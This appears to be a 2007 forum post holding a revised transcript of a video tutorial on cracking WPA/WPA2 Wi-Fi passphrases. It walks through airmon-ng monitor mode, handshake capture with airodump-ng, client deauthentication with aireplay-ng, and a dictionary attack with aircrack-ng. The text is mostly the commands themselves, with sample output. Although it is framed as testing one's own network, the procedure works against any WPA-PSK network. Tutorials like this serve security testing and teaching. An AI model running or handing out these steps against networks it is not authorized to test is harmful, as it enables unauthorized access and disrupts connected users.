Originally Posted by
{In}Secure
Here is my submission of Xploitz WPA cracking vid #3.
I was to lazy to re-type all of it so I took some screenshots during the video, printed them, and then used an OCR program to create the txt file.
Enjoy.
Nice. Thanks for taking the time to do that. There were a few errors within the transcript. Mainly because the OCR program that was used mixed up the number 1 with the letter l..and vice versa..and the number 0 for a Q like ath0 was turned into athQ. I however demand accuracy with my tutorials...
So here is my edited and revised copy of this transcript, not for download..but for online viewing. Feel free though to copy and paste it to Windows notepad or Linuxs' KWrite.
Thanks again {In}Secure for posting.
Code:
-=Xploitz=- E-Z Video Tutorial: Cracking WPA/WPA2
Date of video: August 09, 2007
Hello everyone, : )
Welcome once again to another great E-Z VIDEO Tutorial taught
to you by your newly appointed remote-exploit.org Moderator,
me....-=Xploitz=-
This time were gonna step it up a little bit and try our hand at our
WPA/WPA2 TKIP or TKIP+AES network, Whats the difference
between cracking a WPA network -VS- a WPA2 network??
Answer. , .ABSOLUTELY NOTHING!! There is no difference between
cracking WPA or WPA2 networks at all. In order to SUCCESSFULLY
crack any WPA/WPA2 network, there are 2 main key things that
must happen. (1) YOU MUST CAPTURE THE FULL 4 WAY
HANDSHAKE!! AIRODUMP-NG WILL LET YOU KNOW BY TELLING
YOU. IF YOU LOOK AT THE TOP RIGHT HAND CORNER OF YOUR
AIRODUMP-NG SCREEN IT WILL REGISTER AND LET YOU KNOW BY
SAYING " [ WPA handshake: 00:18:F8;B5:F2:D6] (2) YOUR
PASSPHRASE MUST BE IN THE DICTIONARY YOU CHOSE IN
ORDER TO SUCCESSFULLY BRUTE FORCE IT WITH AIRCRACK-NG.
***SPECIAL NOTE!!!***
IF YOUR NETWORK IS ENCRYPTED WITH WPA/WPA2 +AES.....
COWPATTY WILL NOT WORK. COWPATTY ONLY WORKS
WITH TKIP.Thats why I'm using aircrack-ng to crack my
WPA2/TKIP+AES network, NOW THAT THATS BEEN SAID,
...LETS BEGIN SHALL WE??
First off, we're gonna put our interface into monitor mode.
To accomplish this we type in...
airmon-ng stop <device>
My device is Atheros chipped so it would like,.,
airmon-ng stop ath0
Next, we type in,
airmon-ng start <device>,
Again, my card is an Atheros chipped card so I'll use ath0 to
place my ath0 interface into monitor mode, Other devices
may only be required to use eth0, wlan0 etc... So for mine its. . .
airmon-ng start ath0
Start airodump-ng to collect the authentication handshake.
If you don't know your networks details, just type in...,
airodump-ng <device>
mine will look like...
airodump-ng ath0
After you run airodump and you see your network and
its connected client(s),
press ^c (Thats Ctrl c)
This action will break you out of airodumps process and
give you a new command line. Use this when you want to
switch back and fourth to copy and paste your networks details.
Now, open a new shell window and fill in all your networks
info so that we can focus on only your network and lock
onto it, To do this you'll type...
airodump-ng -c (Channel your AP is on) -w (file name) --bssid (your APS bssid here) <device>
Mine looks like...
airodump-ng -c 6 -w psk --bssid 00:18:F8:B5:F2;D6 ath0
***Important***Do NOT use the --ivs option.
You must capture the full packets!
Use Aireplay-ng to de-authenticate the wireless client
To accomplish this we type in...
aireplay-ng -0 1 -a <AP MAC> -c <Clients MAC> <Device>.
Mine looks like this...
aireplay-ng -0 1 -a 00:18:F8:B5:F2:D6 -c 08:14:A5:F6:83:E3 ath0
You'll know your attack was successful!, if your
airodump-ng screen looks similar to this,..
CH 6 H Elapsed: 2 mins ][-08-08 14:37][ WPA handshake 00:18:F8:B5:F2:D6]
BSSID PWR RXO Beacons #Data #/s CH MB ENC CIPHER AUTM ESSID
E0:18:F8:B5:F2:D6 68 1298 645 3 6 48 WPA2 CCMP PSK XploitZ
BSSID STATION PWR Rate Lost Packets Probes
00:18:F8:B5:F2:D6 08:14:A5:F6:83:E3 56 54-54 0 1019
Notice the *[ WPA handshake: 00:18:F8:B5:F2:D6] in the upper
part of the above text?? This confirms that you have captured
the complete 4 way handshake, ;)
***IMPORTANT NOTE!!***
If there is not a client connected, and you suspect there
is one connected,.just type in
aireplay-ng -0 1 -a <BSSID> <Device>
And they'll appear if their connected!
OPEN A NEW SHELL
Run aircrack-ng to crack the pre-shared key,
To do this we type in the command...,
aircrack-ng -w password.lst -b <AP's BSSID HERE> filename.cap
Mine looks like this,..
aircrack-ng -w algae.txt -b 00:18:F8:B5:F2:D6 psk*.cap
You can use .txt or .lst dictionaries. It doesn't matter which
type of dictionary you use. Just make sure if your dictionary is
called passwords.lst, you type in passwords.lst and not .txt.
Also, your pass-phrase MUST BE IN THE DICTIONARY FOR
THIS ATTACK TO WORK!! Also please note that my dictionary
is located in my home folder or /root directory, therefore there is
no need to type in the full path to my dictionary;} There are
other methods including the use of a pre-compiled list of
passwords with your ESSID, but this particular tutorial will NOT
cover it. I will do another video explaining step by step all the
correct processes you need to build a database and pre-compile
it with your ESSID and password list in the very near future.
Transcript of Xploitz WPA Cracking Tut #3
Revised transcript
Its not needed since your not using your card to connect or associate/authenticate with the AP.
